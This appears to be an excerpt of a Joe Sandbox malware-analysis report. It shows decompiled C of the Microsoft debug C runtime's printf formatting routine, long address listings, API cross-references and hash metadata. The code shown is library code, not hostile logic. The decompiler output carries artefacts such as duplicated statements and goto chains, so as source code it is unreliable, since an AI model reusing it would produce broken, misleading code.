																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE20(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0xc28e9826
																							E00424690(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																					goto L181;
																				}
																				L118:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L120;
																				}
																				L119:
																				 *(__ebp - 0x30) = 1;
																				goto L122;
																			}
																			L116:
																			 *(__ebp - 0x30) = 6;
																			goto L122;
																		case 6:
																			L66:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E004284A0(__ebp + 0x14);
																				 *(__ebp - 0x280) = __ax;
																				__cl =  *(__ebp - 0x280);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x27c) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E004284E0(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x27c) = E00434360(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x27c) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L181;
																		case 7:
																			L135:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L144;
																		case 8:
																			L100:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x294) = E004284A0(__ebp + 0x14);
																			if(E00434040() != 0) {
																				L110:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x294);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x294);
																					 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L181;
																			}
																			L101:
																			__edx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x314) = 0;
																			} else {
																				 *(__ebp - 0x314) = 1;
																			}
																			__eax =  *(__ebp - 0x314);
																			 *(__ebp - 0x298) =  *(__ebp - 0x314);
																			if( *(__ebp - 0x298) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E350();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x298) != 0) {
																				L109:
																				goto L181;
																			} else {
																				L108:
																				 *((intOrPtr*)(L00422E40(__ecx))) = 0x16;
																				__eax = E00422BD0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2e8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ADF0(__ecx);
																				__eax =  *(__ebp - 0x2e8);
																				goto L211;
																			}
																		case 9:
																			L142:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L144;
																		case 0xa:
																			L136:
																			 *(__ebp - 0x30) = 8;
																			goto L137;
																		case 0xb:
																			L81:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x310) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x310) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x310);
																			 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E004284A0(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L92:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x288) =  *(__ebp - 4);
																				while(1) {
																					L95:
																					__ecx =  *(__ebp - 0x28c);
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L96:
																					__eax =  *(__ebp - 0x288);
																					__ecx =  *( *(__ebp - 0x288));
																					if(__ecx == 0) {
																						break;
																					}
																					L97:
																					 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																					 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																				}
																				L98:
																				 *(__ebp - 0x288) =  *(__ebp - 0x288) -  *(__ebp - 4);
																				 *(__ebp - 0x24) =  *(__ebp - 0x288) -  *(__ebp - 4);
																				goto L99;
																			} else {
																				L85:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x290) =  *(__ebp - 4);
																				while(1) {
																					L88:
																					__edx =  *(__ebp - 0x28c);
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					if( *(__ebp - 0x28c) == 0) {
																						break;
																					}
																					L89:
																					__ecx =  *(__ebp - 0x290);
																					__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L90:
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																				}
																				L91:
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L99:
																				goto L181;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L138:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L139:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L144;
																		case 0xe:
																			goto L181;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00427cfc
0x00427cfc
0x00427cfc
0x00427cfc
0x00427cfc
0x00000000
0x00427d6b
0x00000000
0x00427d6b
0x00000000
0x00427d6b
0x00427d6b
0x00427d73
0x00427d95
0x00427d9b
0x00427dc0
0x00427e07
0x00427e0a
0x00427e2b
0x00427e30
0x00427e35
0x00427e3b
0x00427e0c
0x00427e10
0x00427e15
0x00427e18
0x00427e19
0x00427e1f
0x00427e1f
0x00427dc2
0x00427dc5
0x00427dc8
0x00427dea
0x00427def
0x00427df5
0x00427df6
0x00427dfc
0x00427dca
0x00427dce
0x00427dd3
0x00427dd7
0x00427dd8
0x00427dde
0x00427dde
0x00427e02
0x00427d9d
0x00427da1
0x00427da6
0x00427da9
0x00427daf
0x00427daf
0x00427d75
0x00427d79
0x00427d7e
0x00427d81
0x00427d87
0x00427d87
0x00427e47
0x00427e89
0x00427e8f
0x00427e9b
0x00000000
0x00427e49
0x00427e49
0x00427e49
0x00427e50
0x00000000
0x00427e5d
0x00427e5d
0x00427e6b
0x00427e70
0x00427e76
0x00427e84
0x00427ea1
0x00427ea9
0x00427ecb
0x00427ecb
0x00427ed5
0x00427ee6
0x00427ef0
0x00427ef2
0x00427ef2
0x00427ed7
0x00427ed7
0x00427ed7
0x00427f05
0x00427f07
0x00427f07
0x00427f11
0x00427f14
0x00427f14
0x00427f1a
0x00427f1d
0x00427f22
0x00000000
0x00000000
0x00427f32
0x00427f35
0x00427f3f
0x00427f4e
0x00427f57
0x00427f6d
0x00427f73
0x00427f80
0x00427f8e
0x00427f8e
0x00427f9d
0x00427fa5
0x00427fa5
0x00427fad
0x00427fb3
0x00427fbc
0x00427fc8
0x00427fe1
0x00427fe7
0x00427ff0
0x00427ff0
0x00000000
0x00427ff3
0x00000000
0x00427ff3
0x00000000
0x00427ff3
0x00000000
0x00427ff3
0x00000000
0x00427ff3
0x00000000
0x00427ff3
0x00000000
0x00427ff3
0x00427ff3
0x00427ff3
0x00427ff7
0x004281de
0x004281e2
0x004281ea
0x004281ef
0x004281f2
0x004281f2
0x004281f9
0x004281f9
0x0042737f
0x00427392
0x00427397
0x00000000
0x004273aa
0x004273b4
0x004273db
0x004273c2
0x004273d3
0x004273d3
0x004273b4
0x004273e5
0x004273eb
0x004273fd
0x00427408
0x00427414
0x00427421
0x00000000
0x00000000
0x00427427
0x0042742d
0x00000000
0x00427434
0x00427434
0x0042744c
0x00427451
0x00427456
0x00427510
0x00427523
0x00427528
0x00000000
0x0042745c
0x0042746f
0x00427474
0x0042747a
0x0042747c
0x00427485
0x00427488
0x00427494
0x00427498
0x0042749e
0x004274a0
0x004274a5
0x004274a7
0x004274ac
0x004274b1
0x004274b3
0x004274b8
0x004274be
0x004274c0
0x004274c0
0x004274be
0x004274c1
0x004274c8
0x00000000
0x004274ca
0x004274cf
0x004274eb
0x004274f3
0x00427500
0x00427505
0x00428218
0x00428225
0x00428225
0x004274c8
0x00000000
0x00427530
0x00427530
0x00427537
0x0042753a
0x0042753d
0x00427540
0x00427543
0x00427546
0x00427549
0x00427550
0x00427557
0x00000000
0x00000000
0x00427563
0x00427563
0x0042756a
0x00427576
0x00427579
0x00427586
0x00000000
0x00000000
0x00427588
0x00427588
0x0042758e
0x0042758e
0x00427595
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004275d8
0x004275d8
0x004275e2
0x0042760c
0x0042760f
0x00427612
0x00427619
0x00427619
0x0042761d
0x004275e4
0x004275e4
0x004275f0
0x004275f7
0x004275f9
0x004275fc
0x004275ff
0x00427605
0x00427607
0x00427607
0x0042760a
0x00427620
0x00000000
0x00000000
0x00427625
0x00427625
0x00000000
0x00000000
0x00427631
0x00427631
0x0042763b
0x0042765e
0x00427668
0x00427668
0x0042766c
0x0042763d
0x0042763d
0x00427649
0x00427650
0x00427652
0x00427652
0x00427659
0x00000000
0x00000000
0x00427674
0x00427674
0x0042767b
0x00427687
0x0042768a
0x00427697
0x004277aa
0x00000000
0x004277aa
0x0042769d
0x0042769d
0x004276a3
0x004276a3
0x004276aa
0x00000000
0x004276e0
0x004276e0
0x004276e3
0x004276e9
0x00427711
0x00427711
0x00427714
0x0042771a
0x0042773f
0x0042773f
0x00427742
0x00427748
0x00427781
0x00427792
0x00000000
0x00427792
0x0042774a
0x0042774a
0x0042774d
0x00427753
0x00000000
0x00000000
0x00427755
0x00427755
0x00427758
0x0042775e
0x00000000
0x00000000
0x00427760
0x00427760
0x00427763
0x00427769
0x00000000
0x00000000
0x0042776b
0x0042776b
0x0042776e
0x00427774
0x00000000
0x00000000
0x00427776
0x00427776
0x00427779
0x0042777f
0x00427783
0x00000000
0x00427783
0x00000000
0x0042777f
0x0042771c
0x0042771c
0x0042771f
0x00427726
0x00000000
0x00427728
0x0042772b
0x0042772e
0x00427731
0x00427734
0x0042773a
0x00000000
0x0042773a
0x00427726
0x004276eb
0x004276eb
0x004276ee
0x004276f5
0x00000000
0x004276f7
0x004276fa
0x004276fd
0x00427700
0x00427703
0x00427709
0x00000000
0x00427709
0x00000000
0x00427794
0x00427797
0x0042779a
0x00000000
0x00000000
0x004276b1
0x004276b1
0x004276b4
0x004276ba
0x004276d2
0x004276d5
0x004276d8
0x004276bc
0x004276bf
0x004276c2
0x004276c8
0x004276cd
0x004276cd
0x00000000
0x00000000
0x0042779f
0x004277a2
0x004277a7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004275b2
0x004275b5
0x004275b8
0x00000000
0x00000000
0x004275bd
0x004275c0
0x004275c5
0x00000000
0x00000000
0x004275a7
0x004275a7
0x004275aa
0x004275ad
0x00000000
0x00000000
0x0042759c
0x0042759f
0x004275a2
0x00000000
0x00000000
0x004275ca
0x004275ca
0x004275cd
0x004275d0
0x00000000
0x00000000
0x004275d3
0x00000000
0x00000000
0x0042742d
0x004281fe
0x00428204
0x0042820d
0x00428212
0x00000000
0x00428212
0x00427ffd
0x00428003
0x0042800d
0x00428022
0x00428037
0x00428039
0x0042803d
0x0042803d
0x00428024
0x00428024
0x00428028
0x00428028
0x0042800f
0x0042800f
0x00428013
0x00428013
0x0042800d
0x0042804d
0x00428059
0x0042806f
0x00428074
0x00428074
0x0042808a
0x0042808f
0x00428098
0x004280b6
0x004280bb
0x004280bb
0x004280c2
0x00428196
0x004281a9
0x004281ae
0x00000000
0x004280d2
0x004280d2
0x004280d2
0x004280df
0x004280e8
0x004280ee
0x004280ee
0x004280fd
0x00428105
0x00000000
0x00000000
0x0042810b
0x00428114
0x00428133
0x00428138
0x0042813b
0x0042814a
0x00428157
0x00428162
0x00428162
0x00000000
0x0042816e
0x0042816e
0x00428187
0x0042818c
0x00000000
0x0042818c
0x00428157
0x00428194
0x004281b1
0x004281b8
0x004281d6
0x004281db
0x004281db
0x00000000
0x004281b8
0x004277af
0x004277af
0x004277b6
0x004277bc
0x004277c2
0x004277c5
0x004277cb
0x004277de
0x004277de
0x004277e5
0x00000000
0x00427b3f
0x00427b3f
0x00427b46
0x00427b4d
0x00427b50
0x00000000
0x00000000
0x004277ec
0x004277ef
0x004277f5
0x004277fa
0x004277ff
0x004277ff
0x00000000
0x00000000
0x0042792c
0x0042792f
0x00427934
0x00427939
0x0042793f
0x0042793f
0x00000000
0x00000000
0x00427d0c
0x00427d0c
0x00000000
0x00000000
0x00427896
0x00427896
0x004278a2
0x004278af
0x004278bd
0x004278bd
0x004278c3
0x004278c6
0x004278d2
0x00427927
0x00000000
0x00427927
0x004278b1
0x004278b1
0x004278bb
0x004278d7
0x004278da
0x004278e0
0x00427908
0x0042790f
0x00427915
0x00427918
0x0042791b
0x00427921
0x00427924
0x004278e2
0x004278e2
0x004278e8
0x004278eb
0x004278ee
0x004278f4
0x004278f7
0x004278fa
0x004278fc
0x004278ff
0x004278ff
0x00000000
0x004278e0
0x00000000
0x00000000
0x00427b56
0x00427b59
0x00427b5c
0x00427b5f
0x00427b65
0x00427b68
0x00427b73
0x00427b7e
0x00427b82
0x00427b99
0x00427ba0
0x00427ba2
0x00427ba2
0x00427ba9
0x00427bb0
0x00427bc1
0x00427bd0
0x00427bd7
0x00427bed
0x00427bd9
0x00427bd9
0x00427bdc
0x00427be2
0x00427be8
0x00427be8
0x00427bd7
0x00427bf7
0x00427bfa
0x00427bfd
0x00427c00
0x00427c00
0x00427c03
0x00427c03
0x00427c06
0x00427c0c
0x00427c12
0x00427c1a
0x00427c1b
0x00427c1e
0x00427c1f
0x00427c22
0x00427c23
0x00427c2a
0x00427c2b
0x00427c2e
0x00427c2f
0x00427c32
0x00427c33
0x00427c39
0x00427c3a
0x00427c48
0x00427c4a
0x00427c50
0x00427c56
0x00427c5e
0x00427c66
0x00427c67
0x00427c6a
0x00427c6b
0x00427c79
0x00427c7b
0x00427c7b
0x00427c7e
0x00427c88
0x00427c8d
0x00427c93
0x00427c95
0x00427c9d
0x00427c9e
0x00427ca1
0x00427ca2
0x00427cb1
0x00427cb3
0x00427cb3
0x00427c93
0x00427cb6
0x00427cb9
0x00427cbf
0x00427cc4
0x00427cca
0x00427cd0
0x00427cd3
0x00427cd3
0x00427cd6
0x00427ce2
0x00000000
0x00427ce2
0x00427b84
0x00427b84
0x00427b8e
0x00000000
0x00000000
0x00427b90
0x00427b90
0x00000000
0x00427b90
0x00427b75
0x00427b75
0x00000000
0x00000000
0x00427802
0x00427805
0x0042780b
0x00427866
0x0042786e
0x00427875
0x0042787b
0x00427881
0x0042780d
0x0042780d
0x00427817
0x0042781b
0x00427823
0x0042782a
0x00427837
0x0042783e
0x0042784a
0x00427857
0x00427859
0x00427859
0x00427860
0x00427888
0x0042788e
0x00000000
0x00000000
0x00427cea
0x00427ced
0x00427cf0
0x00427cf3
0x00000000
0x00000000
0x00427a48
0x00427a48
0x00427a54
0x00427a61
0x00427b0b
0x00427b0e
0x00427b11
0x00427b25
0x00427b2b
0x00427b31
0x00427b13
0x00427b13
0x00427b20
0x00427b20
0x00427b33
0x00000000
0x00427b33
0x00427a67
0x00427a67
0x00427a69
0x00427a77
0x00427a6b
0x00427a6b
0x00427a6b
0x00427a81
0x00427a87
0x00427a94
0x00427a96
0x00427a9b
0x00427a9d
0x00427aa2
0x00427aa7
0x00427aa9
0x00427aae
0x00427ab4
0x00427ab6
0x00427ab6
0x00427ab4
0x00427abe
0x00427b06
0x00000000
0x00427ac0
0x00427ac0
0x00427ac5
0x00427ae1
0x00427ae9
0x00427af3
0x00427af6
0x00427afb
0x00000000
0x00427afb
0x00000000
0x00427d4d
0x00427d4d
0x00427d57
0x00427d5d
0x00427d62
0x00427d68
0x00427d68
0x00000000
0x00000000
0x00427d05
0x00427d05
0x00000000
0x00000000
0x00427942
0x00427946
0x00427954
0x00427957
0x00427948
0x00427948
0x00427948
0x0042795d
0x00427963
0x00427969
0x00427975
0x0042797b
0x00427981
0x004279e8
0x004279ec
0x004279ee
0x004279f4
0x004279f4
0x004279f7
0x004279fa
0x00427a00
0x00427a00
0x00427a00
0x00427a0c
0x00427a0f
0x00427a17
0x00000000
0x00000000
0x00427a19
0x00427a19
0x00427a1f
0x00427a24
0x00000000
0x00000000
0x00427a26
0x00427a2c
0x00427a2f
0x00427a2f
0x00427a37
0x00427a3d
0x00427a40
0x00000000
0x00427983
0x00427983
0x00427987
0x00427989
0x0042798e
0x0042798e
0x00427991
0x00427998
0x0042799b
0x004279a1
0x004279a1
0x004279a1
0x004279ad
0x004279b0
0x004279b8
0x00000000
0x00000000
0x004279ba
0x004279ba
0x004279c0
0x004279c5
0x00000000
0x00000000
0x004279c7
0x004279cd
0x004279d0
0x004279d0
0x004279d8
0x004279de
0x004279e1
0x004279e3
0x00427a43
0x00000000
0x00427a43
0x00000000
0x00000000
0x00000000
0x00427d18
0x00427d18
0x00427d22
0x00427d22
0x00427d2c
0x00427d32
0x00427d34
0x00427d3e
0x00427d41
0x00427d44
0x00427d44
0x00000000
0x00000000
0x00000000
0x00000000
0x004277e5
0x00427ff3
0x00427ff3
0x00427ff3
0x00427ff3
0x00427ff3
0x00427ff3
0x00427ff3
0x00427e50
0x00427e47
0x00427d6b
0x00427d6b
0x00427d6b

APIs

_get_int64_arg.LIBCMTD ref: 00427D79
_get_int64_arg.LIBCMTD ref: 00427DA1
__aullrem.LIBCMT ref: 00427F46
__aulldiv.LIBCMT ref: 00427F68

Strings

9, xrefs: 00427F79

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 8698735123b3feddb97b2ec76e51df2176c4137660bae1df7df2e96bf9f8b5a0
Instruction ID: 315e266da9f7255e590af5f1d214bf303885bb11ba122e7b9392d4ec1a30f2ea
Opcode Fuzzy Hash: 8698735123b3feddb97b2ec76e51df2176c4137660bae1df7df2e96bf9f8b5a0
Instruction Fuzzy Hash: 7C41F5B1E18629DFDB64DF48D989BAEB7B5BF84304F5085DAE009A7201C7389E80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0043C36D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0043C36D(intOrPtr __ebx, signed int __edx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t517;
				void* _t535;
				intOrPtr _t539;
				signed int _t556;
				signed short _t557;
				signed int _t560;
				signed int _t563;
				signed int _t564;
				intOrPtr _t565;
				signed int _t619;
				signed int _t621;
				signed int _t623;
				signed int _t630;
				signed int _t642;
				signed int _t669;
				intOrPtr _t670;
				intOrPtr _t671;
				signed int _t672;
				void* _t674;
				void* _t675;
				signed int _t681;

				L0:
				while(1) {
					L0:
					_t671 = __esi;
					_t670 = __edi;
					_t619 = __edx;
					_t565 = __ebx;
					 *(_t672 - 8) = 0xa;
					L150:
					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t672 - 0x10) & 0x00008000) == 0) {
									_t621 =  *(_t672 - 0x10) & 0x00001000;
									if(_t621 == 0) {
										if(( *(_t672 - 0x10) & 0x00000020) == 0) {
											_t623 =  *(_t672 - 0x10) & 0x00000040;
											if(_t623 == 0) {
												_t483 = E004284A0(_t672 + 0x14);
												_t675 = _t674 + 4;
												 *(_t672 - 0x4a0) = _t483;
												 *(_t672 - 0x49c) = 0;
											} else {
												_t556 = E004284A0(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t556;
												 *(_t672 - 0x49c) = _t623;
											}
										} else {
											_t669 =  *(_t672 - 0x10) & 0x00000040;
											if(_t669 == 0) {
												_t557 = E004284A0(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t557 & 0x0000ffff;
												 *(_t672 - 0x49c) = _t669;
											} else {
												_t560 = E004284A0(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t560;
												 *(_t672 - 0x49c) = _t669;
											}
										}
									} else {
										_t563 = E004284C0(_t672 + 0x14);
										_t675 = _t674 + 4;
										 *(_t672 - 0x4a0) = _t563;
										 *(_t672 - 0x49c) = _t621;
									}
								} else {
									_t564 = E004284C0(_t672 + 0x14);
									_t675 = _t674 + 4;
									 *(_t672 - 0x4a0) = _t564;
									 *(_t672 - 0x49c) = _t619;
								}
								if(( *(_t672 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t672 - 0x4a8) =  *(_t672 - 0x4a0);
									 *(_t672 - 0x4a4) =  *(_t672 - 0x49c);
									goto L168;
								} else {
									L163:
									_t681 =  *(_t672 - 0x49c);
									if(_t681 > 0 || _t681 >= 0 &&  *(_t672 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t672 - 0x4a8) =  ~( *(_t672 - 0x4a0));
										 *(_t672 - 0x4a4) =  ~( *(_t672 - 0x49c));
										 *(_t672 - 0x10) =  *(_t672 - 0x10) | 0x00000100;
										L168:
										if(( *(_t672 - 0x10) & 0x00008000) == 0 && ( *(_t672 - 0x10) & 0x00001000) == 0) {
											 *(_t672 - 0x4a4) =  *(_t672 - 0x4a4) & 0x00000000;
										}
										if( *(_t672 - 0x30) >= 0) {
											 *(_t672 - 0x10) =  *(_t672 - 0x10) & 0xfffffff7;
											if( *(_t672 - 0x30) > 0x200) {
												 *(_t672 - 0x30) = 0x200;
											}
										} else {
											 *(_t672 - 0x30) = 1;
										}
										if(( *(_t672 - 0x4a8) |  *(_t672 - 0x4a4)) == 0) {
											 *(_t672 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t672 - 4)) = _t672 - 0x249;
										while(1) {
											L178:
											_t629 =  *(_t672 - 0x30) - 1;
											 *(_t672 - 0x30) =  *(_t672 - 0x30) - 1;
											if( *(_t672 - 0x30) <= 0 && ( *(_t672 - 0x4a8) |  *(_t672 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t630 =  *(_t672 - 0x4a8);
											 *((intOrPtr*)(_t672 - 0x494)) = E004308C0(_t630,  *(_t672 - 0x4a4),  *(_t672 - 8), _t629) + 0x30;
											asm("cdq");
											 *(_t672 - 0x4a8) = E00430940( *(_t672 - 0x4a8),  *(_t672 - 0x4a4),  *(_t672 - 8), _t630);
											 *(_t672 - 0x4a4) = _t630;
											if( *((intOrPtr*)(_t672 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t672 - 0x494)) =  *((intOrPtr*)(_t672 - 0x494)) +  *((intOrPtr*)(_t672 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t672 - 4)))) =  *((intOrPtr*)(_t672 - 0x494));
											 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) - 1;
										}
										L183:
										 *((intOrPtr*)(_t672 - 0x24)) = _t672 - 0x249 -  *((intOrPtr*)(_t672 - 4));
										 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) + 1;
										if(( *(_t672 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t672 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t672 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t672 - 4)))) = 0x30;
											 *((intOrPtr*)(_t672 - 0x24)) =  *((intOrPtr*)(_t672 - 0x24)) + 1;
										}
										L187:
										while(1) {
											L187:
											while(1) {
												L187:
												while(1) {
													L187:
													while(1) {
														L187:
														while(1) {
															L187:
															while(1) {
																L187:
																while(1) {
																	do {
																		L187:
																		if( *((intOrPtr*)(_t672 - 0x28)) != 0) {
																			L212:
																			if( *(_t672 - 0x20) != 0) {
																				L0041C510( *(_t672 - 0x20), 2);
																				_t675 = _t675 + 8;
																				 *(_t672 - 0x20) = 0;
																			}
																			while(1) {
																				L214:
																				 *(_t672 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t672 + 0xc))));
																				_t578 =  *(_t672 - 0x454) & 0x0000ffff;
																				 *((intOrPtr*)(_t672 + 0xc)) =  *((intOrPtr*)(_t672 + 0xc)) + 2;
																				if(( *(_t672 - 0x454) & 0x0000ffff) == 0 ||  *(_t672 - 0x44c) < 0) {
																					break;
																				} else {
																					if(( *(_t672 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t672 - 0x454) & 0x0000ffff) > 0x78) {
																						 *(_t672 - 0x4d8) = 0;
																					} else {
																						 *(_t672 - 0x4d8) =  *(( *(_t672 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
																					}
																				}
																				L7:
																				 *(_t672 - 0x450) =  *(_t672 - 0x4d8);
																				_t642 =  *(_t672 - 0x450) * 9;
																				_t509 =  *(_t672 - 0x45c);
																				_t586 = ( *(_t642 + _t509 + 0x407e08) & 0x000000ff) >> 4;
																				 *(_t672 - 0x45c) = ( *(_t642 + _t509 + 0x407e08) & 0x000000ff) >> 4;
																				if( *(_t672 - 0x45c) != 8) {
																					L16:
																					 *(_t672 - 0x4e0) =  *(_t672 - 0x45c);
																					if( *(_t672 - 0x4e0) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t672 - 0x4e0) * 4 +  &M0043C944))) {
																						case 0:
																							L18:
																							 *(_t672 - 0xc) = 1;
																							E0043CA50( *(_t672 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																							_t675 = _t675 + 0xc;
																							goto L214;
																						case 1:
																							L19:
																							 *(__ebp - 0x2c) = 0;
																							__ecx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) = __ecx;
																							__edx =  *(__ebp - 0x28);
